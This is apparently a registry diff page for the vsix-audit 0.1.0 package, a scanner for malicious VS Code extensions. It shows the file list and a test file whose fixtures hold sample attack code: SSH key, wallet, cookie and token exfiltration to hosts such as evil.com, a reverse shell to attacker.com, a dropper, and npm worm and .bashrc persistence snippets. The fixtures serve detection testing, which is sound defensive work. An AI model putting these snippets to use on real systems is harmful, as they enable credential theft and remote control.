@trailofbits/vsix-audit 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +661 -0
- package/README.md +281 -0
- package/dist/cli.d.ts +3 -0
- package/dist/cli.d.ts.map +1 -0
- package/dist/cli.js +703 -0
- package/dist/cli.js.map +1 -0
- package/dist/index.d.ts +3 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +4 -0
- package/dist/index.js.map +1 -0
- package/dist/scanner/batch.d.ts +12 -0
- package/dist/scanner/batch.d.ts.map +1 -0
- package/dist/scanner/batch.js +104 -0
- package/dist/scanner/batch.js.map +1 -0
- package/dist/scanner/bundler.d.ts +35 -0
- package/dist/scanner/bundler.d.ts.map +1 -0
- package/dist/scanner/bundler.js +120 -0
- package/dist/scanner/bundler.js.map +1 -0
- package/dist/scanner/cache.d.ts +45 -0
- package/dist/scanner/cache.d.ts.map +1 -0
- package/dist/scanner/cache.js +153 -0
- package/dist/scanner/cache.js.map +1 -0
- package/dist/scanner/cache.test.d.ts +2 -0
- package/dist/scanner/cache.test.d.ts.map +1 -0
- package/dist/scanner/cache.test.js +149 -0
- package/dist/scanner/cache.test.js.map +1 -0
- package/dist/scanner/capabilities.d.ts +29 -0
- package/dist/scanner/capabilities.d.ts.map +1 -0
- package/dist/scanner/capabilities.js +217 -0
- package/dist/scanner/capabilities.js.map +1 -0
- package/dist/scanner/checks/ast.d.ts +3 -0
- package/dist/scanner/checks/ast.d.ts.map +1 -0
- package/dist/scanner/checks/ast.js +469 -0
- package/dist/scanner/checks/ast.js.map +1 -0
- package/dist/scanner/checks/ast.test.d.ts +2 -0
- package/dist/scanner/checks/ast.test.d.ts.map +1 -0
- package/dist/scanner/checks/ast.test.js +389 -0
- package/dist/scanner/checks/ast.test.js.map +1 -0
- package/dist/scanner/checks/behavioral.d.ts +3 -0
- package/dist/scanner/checks/behavioral.d.ts.map +1 -0
- package/dist/scanner/checks/behavioral.js +367 -0
- package/dist/scanner/checks/behavioral.js.map +1 -0
- package/dist/scanner/checks/blocklist.d.ts +3 -0
- package/dist/scanner/checks/blocklist.d.ts.map +1 -0
- package/dist/scanner/checks/blocklist.js +32 -0
- package/dist/scanner/checks/blocklist.js.map +1 -0
- package/dist/scanner/checks/blocklist.test.d.ts +2 -0
- package/dist/scanner/checks/blocklist.test.d.ts.map +1 -0
- package/dist/scanner/checks/blocklist.test.js +74 -0
- package/dist/scanner/checks/blocklist.test.js.map +1 -0
- package/dist/scanner/checks/chains.d.ts +35 -0
- package/dist/scanner/checks/chains.d.ts.map +1 -0
- package/dist/scanner/checks/chains.js +505 -0
- package/dist/scanner/checks/chains.js.map +1 -0
- package/dist/scanner/checks/chains.test.d.ts +2 -0
- package/dist/scanner/checks/chains.test.d.ts.map +1 -0
- package/dist/scanner/checks/chains.test.js +250 -0
- package/dist/scanner/checks/chains.test.js.map +1 -0
- package/dist/scanner/checks/dataflow.d.ts +3 -0
- package/dist/scanner/checks/dataflow.d.ts.map +1 -0
- package/dist/scanner/checks/dataflow.js +316 -0
- package/dist/scanner/checks/dataflow.js.map +1 -0
- package/dist/scanner/checks/dependencies.d.ts +13 -0
- package/dist/scanner/checks/dependencies.d.ts.map +1 -0
- package/dist/scanner/checks/dependencies.js +225 -0
- package/dist/scanner/checks/dependencies.js.map +1 -0
- package/dist/scanner/checks/dependencies.test.d.ts +2 -0
- package/dist/scanner/checks/dependencies.test.d.ts.map +1 -0
- package/dist/scanner/checks/dependencies.test.js +248 -0
- package/dist/scanner/checks/dependencies.test.js.map +1 -0
- package/dist/scanner/checks/finding-quality.test.d.ts +8 -0
- package/dist/scanner/checks/finding-quality.test.d.ts.map +1 -0
- package/dist/scanner/checks/finding-quality.test.js +164 -0
- package/dist/scanner/checks/finding-quality.test.js.map +1 -0
- package/dist/scanner/checks/ioc.d.ts +20 -0
- package/dist/scanner/checks/ioc.d.ts.map +1 -0
- package/dist/scanner/checks/ioc.js +234 -0
- package/dist/scanner/checks/ioc.js.map +1 -0
- package/dist/scanner/checks/ioc.test.d.ts +2 -0
- package/dist/scanner/checks/ioc.test.d.ts.map +1 -0
- package/dist/scanner/checks/ioc.test.js +298 -0
- package/dist/scanner/checks/ioc.test.js.map +1 -0
- package/dist/scanner/checks/manifest.d.ts +6 -0
- package/dist/scanner/checks/manifest.d.ts.map +1 -0
- package/dist/scanner/checks/manifest.js +123 -0
- package/dist/scanner/checks/manifest.js.map +1 -0
- package/dist/scanner/checks/manifest.test.d.ts +2 -0
- package/dist/scanner/checks/manifest.test.d.ts.map +1 -0
- package/dist/scanner/checks/manifest.test.js +108 -0
- package/dist/scanner/checks/manifest.test.js.map +1 -0
- package/dist/scanner/checks/obfuscation.d.ts +3 -0
- package/dist/scanner/checks/obfuscation.d.ts.map +1 -0
- package/dist/scanner/checks/obfuscation.js +432 -0
- package/dist/scanner/checks/obfuscation.js.map +1 -0
- package/dist/scanner/checks/obfuscation.test.d.ts +2 -0
- package/dist/scanner/checks/obfuscation.test.d.ts.map +1 -0
- package/dist/scanner/checks/obfuscation.test.js +399 -0
- package/dist/scanner/checks/obfuscation.test.js.map +1 -0
- package/dist/scanner/checks/package.d.ts +17 -0
- package/dist/scanner/checks/package.d.ts.map +1 -0
- package/dist/scanner/checks/package.js +422 -0
- package/dist/scanner/checks/package.js.map +1 -0
- package/dist/scanner/checks/package.test.d.ts +2 -0
- package/dist/scanner/checks/package.test.d.ts.map +1 -0
- package/dist/scanner/checks/package.test.js +518 -0
- package/dist/scanner/checks/package.test.js.map +1 -0
- package/dist/scanner/checks/patterns.d.ts +5 -0
- package/dist/scanner/checks/patterns.d.ts.map +1 -0
- package/dist/scanner/checks/patterns.js +251 -0
- package/dist/scanner/checks/patterns.js.map +1 -0
- package/dist/scanner/checks/patterns.test.d.ts +2 -0
- package/dist/scanner/checks/patterns.test.d.ts.map +1 -0
- package/dist/scanner/checks/patterns.test.js +147 -0
- package/dist/scanner/checks/patterns.test.js.map +1 -0
- package/dist/scanner/checks/unicode.d.ts +3 -0
- package/dist/scanner/checks/unicode.d.ts.map +1 -0
- package/dist/scanner/checks/unicode.js +247 -0
- package/dist/scanner/checks/unicode.js.map +1 -0
- package/dist/scanner/checks/unicode.test.d.ts +2 -0
- package/dist/scanner/checks/unicode.test.d.ts.map +1 -0
- package/dist/scanner/checks/unicode.test.js +202 -0
- package/dist/scanner/checks/unicode.test.js.map +1 -0
- package/dist/scanner/checks/yara.d.ts +23 -0
- package/dist/scanner/checks/yara.d.ts.map +1 -0
- package/dist/scanner/checks/yara.js +349 -0
- package/dist/scanner/checks/yara.js.map +1 -0
- package/dist/scanner/checks/yara.test.d.ts +2 -0
- package/dist/scanner/checks/yara.test.d.ts.map +1 -0
- package/dist/scanner/checks/yara.test.js +126 -0
- package/dist/scanner/checks/yara.test.js.map +1 -0
- package/dist/scanner/constants.d.ts +18 -0
- package/dist/scanner/constants.d.ts.map +1 -0
- package/dist/scanner/constants.js +37 -0
- package/dist/scanner/constants.js.map +1 -0
- package/dist/scanner/detection-coverage.test.d.ts +2 -0
- package/dist/scanner/detection-coverage.test.d.ts.map +1 -0
- package/dist/scanner/detection-coverage.test.js +216 -0
- package/dist/scanner/detection-coverage.test.js.map +1 -0
- package/dist/scanner/download.d.ts +76 -0
- package/dist/scanner/download.d.ts.map +1 -0
- package/dist/scanner/download.js +339 -0
- package/dist/scanner/download.js.map +1 -0
- package/dist/scanner/download.test.d.ts +2 -0
- package/dist/scanner/download.test.d.ts.map +1 -0
- package/dist/scanner/download.test.js +149 -0
- package/dist/scanner/download.test.js.map +1 -0
- package/dist/scanner/index.d.ts +8 -0
- package/dist/scanner/index.d.ts.map +1 -0
- package/dist/scanner/index.js +167 -0
- package/dist/scanner/index.js.map +1 -0
- package/dist/scanner/index.test.d.ts +2 -0
- package/dist/scanner/index.test.d.ts.map +1 -0
- package/dist/scanner/index.test.js +71 -0
- package/dist/scanner/index.test.js.map +1 -0
- package/dist/scanner/loaders/zoo.d.ts +3 -0
- package/dist/scanner/loaders/zoo.d.ts.map +1 -0
- package/dist/scanner/loaders/zoo.js +112 -0
- package/dist/scanner/loaders/zoo.js.map +1 -0
- package/dist/scanner/types.d.ts +118 -0
- package/dist/scanner/types.d.ts.map +1 -0
- package/dist/scanner/types.js +2 -0
- package/dist/scanner/types.js.map +1 -0
- package/dist/scanner/utils.d.ts +14 -0
- package/dist/scanner/utils.d.ts.map +1 -0
- package/dist/scanner/utils.js +25 -0
- package/dist/scanner/utils.js.map +1 -0
- package/dist/scanner/vsix.d.ts +6 -0
- package/dist/scanner/vsix.d.ts.map +1 -0
- package/dist/scanner/vsix.js +213 -0
- package/dist/scanner/vsix.js.map +1 -0
- package/dist/scanner/vsix.test.d.ts +2 -0
- package/dist/scanner/vsix.test.d.ts.map +1 -0
- package/dist/scanner/vsix.test.js +355 -0
- package/dist/scanner/vsix.test.js.map +1 -0
- package/package.json +60 -0
- package/zoo/blocklist/extensions.json +201 -0
- package/zoo/iocs/blockchain-extensions.txt +21 -0
- package/zoo/iocs/c2-domains.txt +50 -0
- package/zoo/iocs/c2-ips.txt +24 -0
- package/zoo/iocs/hashes.txt +47 -0
- package/zoo/iocs/malicious-npm.txt +85 -0
- package/zoo/iocs/wallets.txt +18 -0
- package/zoo/signatures/yara/README.md +46 -0
- package/zoo/signatures/yara/blockchain_c2.yar +48 -0
- package/zoo/signatures/yara/code_execution.yar +165 -0
- package/zoo/signatures/yara/credential_harvesting.yar +116 -0
- package/zoo/signatures/yara/crypto_wallet_targeting.yar +92 -0
- package/zoo/signatures/yara/data_exfiltration.yar +207 -0
- package/zoo/signatures/yara/google_calendar_c2.yar +187 -0
- package/zoo/signatures/yara/messaging_c2.yar +103 -0
- package/zoo/signatures/yara/multi_stage_attacks.yar +331 -0
- package/zoo/signatures/yara/obfuscation_patterns.yar +208 -0
- package/zoo/signatures/yara/powershell_attacks.yar +116 -0
- package/zoo/signatures/yara/rat_capabilities.yar +243 -0
- package/zoo/signatures/yara/self_propagation.yar +239 -0
- package/zoo/signatures/yara/unicode_stealth.yar +48 -0
- package/zoo/signatures/yara/websocket_c2.yar +83 -0
|
@@ -0,0 +1,250 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
import { checkChains } from "./chains.js";
|
|
3
|
+
function makeContents(files) {
|
|
4
|
+
const manifest = {
|
|
5
|
+
name: "test-extension",
|
|
6
|
+
publisher: "test",
|
|
7
|
+
version: "1.0.0",
|
|
8
|
+
};
|
|
9
|
+
const fileMap = new Map();
|
|
10
|
+
for (const [name, content] of Object.entries(files)) {
|
|
11
|
+
fileMap.set(name, Buffer.from(content));
|
|
12
|
+
}
|
|
13
|
+
return { manifest, files: fileMap, basePath: "/test" };
|
|
14
|
+
}
|
|
15
|
+
describe("checkChains", () => {
|
|
16
|
+
describe("DataFlow patterns (source → sink)", () => {
|
|
17
|
+
it("detects SSH key exfiltration", () => {
|
|
18
|
+
const code = `
|
|
19
|
+
const fs = require('fs');
|
|
20
|
+
const key = fs.readFileSync('.ssh/id_rsa');
|
|
21
|
+
axios.post('https://evil.com/steal', { data: key });
|
|
22
|
+
`;
|
|
23
|
+
const findings = checkChains(makeContents({ "extension/src/evil.js": code }));
|
|
24
|
+
expect(findings.length).toBeGreaterThan(0);
|
|
25
|
+
const sshExfil = findings.find((f) => f.id === "FLOW_SSH_KEY_EXFIL");
|
|
26
|
+
expect(sshExfil).toBeDefined();
|
|
27
|
+
expect(sshExfil?.severity).toBe("critical");
|
|
28
|
+
expect(sshExfil?.category).toBe("dataflow");
|
|
29
|
+
});
|
|
30
|
+
it("detects wallet exfiltration", () => {
|
|
31
|
+
const code = `
|
|
32
|
+
const wallet = await fs.readFile('.ethereum/keystore/account');
|
|
33
|
+
await fetch('https://evil.com/api', { method: 'POST', body: wallet });
|
|
34
|
+
`;
|
|
35
|
+
const findings = checkChains(makeContents({ "extension/src/steal.js": code }));
|
|
36
|
+
const walletExfil = findings.find((f) => f.id === "FLOW_WALLET_EXFIL");
|
|
37
|
+
expect(walletExfil).toBeDefined();
|
|
38
|
+
expect(walletExfil?.severity).toBe("critical");
|
|
39
|
+
});
|
|
40
|
+
it("detects credential file exfiltration", () => {
|
|
41
|
+
const code = `
|
|
42
|
+
const envData = fs.readFileSync('.env.production');
|
|
43
|
+
request.post('https://collector.io/data', { body: envData });
|
|
44
|
+
`;
|
|
45
|
+
const findings = checkChains(makeContents({ "extension/src/leak.js": code }));
|
|
46
|
+
const credExfil = findings.find((f) => f.id === "FLOW_CRED_EXFIL");
|
|
47
|
+
expect(credExfil).toBeDefined();
|
|
48
|
+
});
|
|
49
|
+
it("detects browser data theft", () => {
|
|
50
|
+
const code = `
|
|
51
|
+
const cookies = fs.readFileSync('Google/Chrome/Cookies');
|
|
52
|
+
got.post('https://stealer.net', { json: cookies });
|
|
53
|
+
`;
|
|
54
|
+
const findings = checkChains(makeContents({ "extension/src/browser.js": code }));
|
|
55
|
+
const browserExfil = findings.find((f) => f.id === "FLOW_BROWSER_EXFIL");
|
|
56
|
+
expect(browserExfil).toBeDefined();
|
|
57
|
+
});
|
|
58
|
+
it("detects Discord webhook exfiltration", () => {
|
|
59
|
+
const code = `
|
|
60
|
+
const sshKey = fs.readFileSync('.ssh/id_ed25519');
|
|
61
|
+
fetch('https://discord.com/api/webhooks/123/abc', { method: 'POST', body: sshKey });
|
|
62
|
+
`;
|
|
63
|
+
const findings = checkChains(makeContents({ "extension/src/discord.js": code }));
|
|
64
|
+
const discordExfil = findings.find((f) => f.id === "FLOW_SSH_DISCORD");
|
|
65
|
+
expect(discordExfil).toBeDefined();
|
|
66
|
+
});
|
|
67
|
+
it("detects API token theft", () => {
|
|
68
|
+
const code = `
|
|
69
|
+
const token = process.env.GITHUB_TOKEN;
|
|
70
|
+
axios.post('https://collector.io/tokens', { token });
|
|
71
|
+
`;
|
|
72
|
+
const findings = checkChains(makeContents({ "extension/src/tokens.js": code }));
|
|
73
|
+
const tokenExfil = findings.find((f) => f.id === "FLOW_TOKEN_EXFIL");
|
|
74
|
+
expect(tokenExfil).toBeDefined();
|
|
75
|
+
});
|
|
76
|
+
it("does not trigger when source and sink are too far apart", () => {
|
|
77
|
+
const code = `
|
|
78
|
+
const key = fs.readFileSync('.ssh/id_rsa');
|
|
79
|
+
${"// padding\n".repeat(200)}
|
|
80
|
+
axios.post('https://example.com', { data: key });
|
|
81
|
+
`;
|
|
82
|
+
const findings = checkChains(makeContents({ "extension/src/far.js": code }));
|
|
83
|
+
const sshExfil = findings.find((f) => f.id === "FLOW_SSH_KEY_EXFIL");
|
|
84
|
+
expect(sshExfil).toBeUndefined();
|
|
85
|
+
});
|
|
86
|
+
});
|
|
87
|
+
describe("Behavioral patterns (N-stage chains)", () => {
|
|
88
|
+
it("detects credential exfiltration chain", () => {
|
|
89
|
+
const code = `
|
|
90
|
+
const data = fs.readFileSync('/home/user/.env');
|
|
91
|
+
const encoded = Buffer.from(data).toString('base64');
|
|
92
|
+
await fetch('https://evil.com', { method: 'POST', body: encoded });
|
|
93
|
+
`;
|
|
94
|
+
const findings = checkChains(makeContents({ "extension/src/chain.js": code }));
|
|
95
|
+
const credExfil = findings.find((f) => f.id === "BEHAVIOR_CREDENTIAL_EXFIL");
|
|
96
|
+
expect(credExfil).toBeDefined();
|
|
97
|
+
expect(credExfil?.severity).toBe("critical");
|
|
98
|
+
expect(credExfil?.category).toBe("behavioral");
|
|
99
|
+
expect(credExfil?.metadata?.stagesMatched).toBe(3);
|
|
100
|
+
});
|
|
101
|
+
it("detects reverse shell pattern", () => {
|
|
102
|
+
const code = `
|
|
103
|
+
const socket = net.connect(4444, 'attacker.com');
|
|
104
|
+
const shell = child_process.spawn('/bin/sh');
|
|
105
|
+
socket.pipe(shell.stdin);
|
|
106
|
+
`;
|
|
107
|
+
const findings = checkChains(makeContents({ "extension/src/shell.js": code }));
|
|
108
|
+
const reverseShell = findings.find((f) => f.id === "BEHAVIOR_REVERSE_SHELL");
|
|
109
|
+
expect(reverseShell).toBeDefined();
|
|
110
|
+
expect(reverseShell?.severity).toBe("critical");
|
|
111
|
+
});
|
|
112
|
+
it("detects dropper pattern", () => {
|
|
113
|
+
const code = `
|
|
114
|
+
const payload = await fetch('https://evil.com/malware.bin');
|
|
115
|
+
fs.writeFileSync('/tmp/.hidden', await payload.buffer());
|
|
116
|
+
child_process.exec('/tmp/.hidden');
|
|
117
|
+
`;
|
|
118
|
+
const findings = checkChains(makeContents({ "extension/src/dropper.js": code }));
|
|
119
|
+
const dropper = findings.find((f) => f.id === "BEHAVIOR_DROPPER");
|
|
120
|
+
expect(dropper).toBeDefined();
|
|
121
|
+
expect(dropper?.severity).toBe("critical");
|
|
122
|
+
});
|
|
123
|
+
it("detects supply chain attack pattern", () => {
|
|
124
|
+
const code = `
|
|
125
|
+
const home = os.homedir();
|
|
126
|
+
const result = execSync('whoami && uname -a');
|
|
127
|
+
await fetch('https://c2.evil.com/collect', { method: 'POST', body: result });
|
|
128
|
+
`;
|
|
129
|
+
const findings = checkChains(makeContents({ "extension/src/supply.js": code }));
|
|
130
|
+
const supplyChain = findings.find((f) => f.id === "BEHAVIOR_SUPPLY_CHAIN_ATTACK");
|
|
131
|
+
expect(supplyChain).toBeDefined();
|
|
132
|
+
expect(supplyChain?.severity).toBe("high");
|
|
133
|
+
});
|
|
134
|
+
it("detects self-propagation (worm) pattern", () => {
|
|
135
|
+
const code = `
|
|
136
|
+
const token = fs.readFileSync('.npmrc');
|
|
137
|
+
const npmToken = process.env.NPM_TOKEN;
|
|
138
|
+
execSync('npm publish --access public');
|
|
139
|
+
`;
|
|
140
|
+
const findings = checkChains(makeContents({ "extension/src/worm.js": code }));
|
|
141
|
+
const propagation = findings.find((f) => f.id === "BEHAVIOR_SELF_PROPAGATION");
|
|
142
|
+
expect(propagation).toBeDefined();
|
|
143
|
+
expect(propagation?.severity).toBe("critical");
|
|
144
|
+
});
|
|
145
|
+
it("detects persistence mechanism", () => {
|
|
146
|
+
const code = `
|
|
147
|
+
const bashrc = path.join(os.homedir(), '.bashrc');
|
|
148
|
+
fs.appendFile(bashrc, '\\nexport PATH=$PATH:/tmp/.malware');
|
|
149
|
+
`;
|
|
150
|
+
const findings = checkChains(makeContents({ "extension/src/persist.js": code }));
|
|
151
|
+
const persistence = findings.find((f) => f.id === "BEHAVIOR_PERSISTENCE");
|
|
152
|
+
expect(persistence).toBeDefined();
|
|
153
|
+
});
|
|
154
|
+
it("does not trigger supply chain when stages are too sparse", () => {
|
|
155
|
+
// maxSpan is 1000 for supply chain, and requires all 3 stages
|
|
156
|
+
const code = `
|
|
157
|
+
const home = os.homedir();
|
|
158
|
+
${"// lots of padding\n".repeat(100)}
|
|
159
|
+
execSync('build command');
|
|
160
|
+
${"// more padding\n".repeat(100)}
|
|
161
|
+
fetch('https://telemetry.com');
|
|
162
|
+
`;
|
|
163
|
+
const findings = checkChains(makeContents({ "extension/src/sparse.js": code }));
|
|
164
|
+
const supplyChain = findings.find((f) => f.id === "BEHAVIOR_SUPPLY_CHAIN_ATTACK");
|
|
165
|
+
expect(supplyChain).toBeUndefined();
|
|
166
|
+
});
|
|
167
|
+
});
|
|
168
|
+
describe("Finding metadata", () => {
|
|
169
|
+
it("includes stage details in metadata", () => {
|
|
170
|
+
const code = `
|
|
171
|
+
const data = fs.readFileSync('/secrets');
|
|
172
|
+
const b64 = btoa(data);
|
|
173
|
+
axios.post('https://evil.com', b64);
|
|
174
|
+
`;
|
|
175
|
+
const findings = checkChains(makeContents({ "extension/src/meta.js": code }));
|
|
176
|
+
const finding = findings.find((f) => f.id === "BEHAVIOR_CREDENTIAL_EXFIL");
|
|
177
|
+
expect(finding).toBeDefined();
|
|
178
|
+
const metadata = finding?.metadata;
|
|
179
|
+
expect(metadata.stagesMatched).toBe(3);
|
|
180
|
+
expect(metadata.totalStages).toBe(3);
|
|
181
|
+
expect(metadata.stages).toHaveLength(3);
|
|
182
|
+
expect(metadata.stages[0]?.id).toBe("FILE_READ");
|
|
183
|
+
expect(metadata.stages[0]?.matched).toContain("readFileSync");
|
|
184
|
+
});
|
|
185
|
+
it("includes legitimate uses when specified", () => {
|
|
186
|
+
const code = `
|
|
187
|
+
const token = process.env.GITHUB_TOKEN;
|
|
188
|
+
axios.post('https://api.github.com', { headers: { auth: token } });
|
|
189
|
+
`;
|
|
190
|
+
const findings = checkChains(makeContents({ "extension/src/auth.js": code }));
|
|
191
|
+
const finding = findings.find((f) => f.id === "FLOW_TOKEN_EXFIL");
|
|
192
|
+
expect(finding).toBeDefined();
|
|
193
|
+
const metadata = finding?.metadata;
|
|
194
|
+
expect(metadata.legitimateUses).toBeDefined();
|
|
195
|
+
expect(metadata.legitimateUses).toContain("Token validation services");
|
|
196
|
+
});
|
|
197
|
+
it("includes red flags when specified", () => {
|
|
198
|
+
const code = `
|
|
199
|
+
const key = fs.readFileSync('.ssh/id_rsa');
|
|
200
|
+
fetch('https://discord.com/api/webhooks/123/abc', { method: 'POST', body: key });
|
|
201
|
+
`;
|
|
202
|
+
const findings = checkChains(makeContents({ "extension/src/flags.js": code }));
|
|
203
|
+
const finding = findings.find((f) => f.id === "FLOW_SSH_KEY_EXFIL");
|
|
204
|
+
expect(finding).toBeDefined();
|
|
205
|
+
const metadata = finding?.metadata;
|
|
206
|
+
expect(metadata.redFlags).toBeDefined();
|
|
207
|
+
expect(metadata.redFlags).toContain("Reads .ssh directory");
|
|
208
|
+
});
|
|
209
|
+
});
|
|
210
|
+
describe("Edge cases", () => {
|
|
211
|
+
it("ignores non-scannable files", () => {
|
|
212
|
+
const findings = checkChains(makeContents({
|
|
213
|
+
"extension/assets/image.png": "fake png data with .ssh/id_rsa and axios.post",
|
|
214
|
+
"extension/data.json": '{"ssh": ".ssh/id_rsa", "send": "axios.post"}',
|
|
215
|
+
}));
|
|
216
|
+
expect(findings).toHaveLength(0);
|
|
217
|
+
});
|
|
218
|
+
it("deduplicates findings per file", () => {
|
|
219
|
+
const code = `
|
|
220
|
+
const key1 = fs.readFileSync('.ssh/id_rsa');
|
|
221
|
+
const key2 = fs.readFileSync('.ssh/id_ed25519');
|
|
222
|
+
axios.post('https://evil1.com', key1);
|
|
223
|
+
axios.post('https://evil2.com', key2);
|
|
224
|
+
`;
|
|
225
|
+
const findings = checkChains(makeContents({ "extension/src/multi.js": code }));
|
|
226
|
+
const sshFindings = findings.filter((f) => f.id === "FLOW_SSH_KEY_EXFIL");
|
|
227
|
+
expect(sshFindings).toHaveLength(1);
|
|
228
|
+
});
|
|
229
|
+
it("reports separate findings for different files", () => {
|
|
230
|
+
const code = `
|
|
231
|
+
const key = fs.readFileSync('.ssh/id_rsa');
|
|
232
|
+
axios.post('https://evil.com', key);
|
|
233
|
+
`;
|
|
234
|
+
const findings = checkChains(makeContents({
|
|
235
|
+
"extension/src/file1.js": code,
|
|
236
|
+
"extension/src/file2.js": code,
|
|
237
|
+
}));
|
|
238
|
+
const sshFindings = findings.filter((f) => f.id === "FLOW_SSH_KEY_EXFIL");
|
|
239
|
+
expect(sshFindings).toHaveLength(2);
|
|
240
|
+
});
|
|
241
|
+
it("handles empty files gracefully", () => {
|
|
242
|
+
const findings = checkChains(makeContents({
|
|
243
|
+
"extension/src/empty.js": "",
|
|
244
|
+
"extension/src/whitespace.js": " \n\n ",
|
|
245
|
+
}));
|
|
246
|
+
expect(findings).toHaveLength(0);
|
|
247
|
+
});
|
|
248
|
+
});
|
|
249
|
+
});
|
|
250
|
+
//# sourceMappingURL=chains.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"chains.test.js","sourceRoot":"","sources":["../../../src/scanner/checks/chains.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,EAAE,MAAM,EAAE,EAAE,EAAE,MAAM,QAAQ,CAAC;AAE9C,OAAO,EAAE,WAAW,EAAE,MAAM,aAAa,CAAC;AAE1C,SAAS,YAAY,CAAC,KAA6B;IACjD,MAAM,QAAQ,GAAiB;QAC7B,IAAI,EAAE,gBAAgB;QACtB,SAAS,EAAE,MAAM;QACjB,OAAO,EAAE,OAAO;KACjB,CAAC;IAEF,MAAM,OAAO,GAAG,IAAI,GAAG,EAAkB,CAAC;IAC1C,KAAK,MAAM,CAAC,IAAI,EAAE,OAAO,CAAC,IAAI,MAAM,CAAC,OAAO,CAAC,KAAK,CAAC,EAAE,CAAC;QACpD,OAAO,CAAC,GAAG,CAAC,IAAI,EAAE,MAAM,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC;IAC1C,CAAC;IAED,OAAO,EAAE,QAAQ,EAAE,KAAK,EAAE,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,CAAC;AACzD,CAAC;AAED,QAAQ,CAAC,aAAa,EAAE,GAAG,EAAE;IAC3B,QAAQ,CAAC,mCAAmC,EAAE,GAAG,EAAE;QACjD,EAAE,CAAC,8BAA8B,EAAE,GAAG,EAAE;YACtC,MAAM,IAAI,GAAG;;;;OAIZ,CAAC;YACF,MAAM,QAAQ,GAAG,WAAW,CAAC,YAAY,CAAC,EAAE,uBAAuB,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;YAE9E,MAAM,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC,eAAe,CAAC,CAAC,CAAC,CAAC;YAC3C,MAAM,QAAQ,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,oBAAoB,CAAC,CAAC;YACrE,MAAM,CAAC,QAAQ,CAAC,CAAC,WAAW,EAAE,CAAC;YAC/B,MAAM,CAAC,QAAQ,EAAE,QAAQ,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,CAAC;YAC5C,MAAM,CAAC,QAAQ,EAAE,QAAQ,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,CAAC;QAC9C,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,6BAA6B,EAAE,GAAG,EAAE;YACrC,MAAM,IAAI,GAAG;;;OAGZ,CAAC;YACF,MAAM,QAAQ,GAAG,WAAW,CAAC,YAAY,CAAC,EAAE,wBAAwB,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;YAE/E,MAAM,WAAW,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,mBAAmB,CAAC,CAAC;YACvE,MAAM,CAAC,WAAW,CAAC,CAAC,WAAW,EAAE,CAAC;YAClC,MAAM,CAAC,WAAW,EAAE,QAAQ,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,CAAC;QACjD,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,sCAAsC,EAAE,GAAG,EAAE;YAC9C,MAAM,IAAI,GAAG;;;OAGZ,CAAC;YACF,MAAM,QAAQ,GAAG,WAAW,CAAC,YAAY,CAAC,EAAE,uBAAuB,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;YAE9E,MAAM,SAAS,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,iBAAiB,CAAC,CAAC;YACnE,MAAM,CAAC,SAAS,CAAC,CAAC,WAAW,EAAE,CAAC;QAClC,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,4BAA4B,EAAE,GAAG,EAAE;YACpC,MAAM,IAAI,GAAG;;;OAGZ,CAAC;YACF,MAAM,QAAQ,GAAG,WAAW,CAAC,YAAY,CAAC,EAAE,0BAA0B,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;YAEjF,MAAM,YAAY,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,oBAAoB,CAAC,CAAC;YACzE,MAAM,CAAC,YAAY,CAAC,CAAC,WAAW,EAAE,CAAC;QACrC,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,sCAAsC,EAAE,GAAG,EAAE;YAC9C,MAAM,IAAI,GAAG;;;OAGZ,CAAC;YACF,MAAM,QAAQ,GAAG,WAAW,CAAC,YAAY,CAAC,EAAE,0BAA0B,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;YAEjF,MAAM,YAAY,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,kBAAkB,CAAC,CAAC;YACvE,MAAM,CAAC,YAAY,CAAC,CAAC,WAAW,EAAE,CAAC;QACrC,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,yBAAyB,EAAE,GAAG,EAAE;YACjC,MAAM,IAAI,GAAG;;;OAGZ,CAAC;YACF,MAAM,QAAQ,GAAG,WAAW,CAAC,YAAY,CAAC,EAAE,yBAAyB,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;YAEhF,MAAM,UAAU,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,kBAAkB,CAAC,CAAC;YACrE,MAAM,CAAC,UAAU,CAAC,CAAC,WAAW,EAAE,CAAC;QACnC,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,yDAAyD,EAAE,GAAG,EAAE;YACjE,MAAM,IAAI,GAAG;;UAET,cAAc,CAAC,MAAM,CAAC,GAAG,CAAC;;OAE7B,CAAC;YACF,MAAM,QAAQ,GAAG,WAAW,CAAC,YAAY,CAAC,EAAE,sBAAsB,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;Y